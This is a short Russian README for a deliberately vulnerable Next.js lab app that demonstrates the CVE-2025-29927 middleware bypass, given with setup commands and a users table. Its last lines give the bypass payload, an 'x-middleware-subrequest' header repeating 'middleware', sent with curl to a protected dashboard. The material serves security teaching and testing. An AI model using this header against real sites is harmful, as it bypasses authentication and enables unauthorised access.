grand-moomin/vuln-next.js-cve-2025-29927Преднамеренно уязвимое приложение Next.js, демонстрирующее эксплуатацию обхода промежуточного ПО CVE-2025-29927 для тестирования безопасности и учебных целей.
npx [email protected]
npm install -D @types/bcrypt
npm install mysql2
npm install jose
npm install -D @types/jsonwebtoken
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
);
npm run dev
# Зарегистрируйте несколько пользователей для теста.
curl http://localhost:3000/api/register
# Выполните curl для панели управления с заголовком или без:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard